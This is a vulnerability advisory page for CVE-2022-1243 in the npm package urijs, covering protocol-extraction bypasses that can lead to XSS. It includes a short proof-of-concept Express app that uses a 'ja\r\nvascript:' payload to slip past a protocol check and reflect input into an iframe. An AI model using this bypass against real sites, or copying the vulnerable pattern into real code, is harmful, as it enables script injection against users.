CVE-2022-1243: CRHTLF can lead to invalid protocol extraction potentially leading to XSS in medialize/uri.js

First published: Tue Apr 05 2022(Updated: )

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11. This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example): ```` const parse = require('urijs') const express = require('express') const app = express() const port = 3000 input = "ja\r\nvascript:alert(1)" url = parse(input) console.log(url) app.get('/', (req, res) => { if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")} }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) ````

Credit: security@huntr.dev security@huntr.dev security@huntr.dev

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Read MoreStart Free Trial

• collector/nvd-index
• collector/github-advisory-latest
• alias/GHSA-3vjf-82ff-p4r3
• alias/CVE-2022-1243
• collector/nvd-cve
• collector/github-advisory
• agent/remedy
• agent/type
• agent/weakness
• agent/references
• agent/softwarecombine
• agent/severity
• agent/author
• agent/description
• collector/nvd-api
• agent/software-canonical-lookup-request
• collector/mitre-cve
• source/MITRE
• agent/title
• agent/last-modified-date
• agent/tags
• agent/first-publish-date
• agent/event
• vendor/uri.js project
• canonical/uri.js project uri.js
• package-manager/npm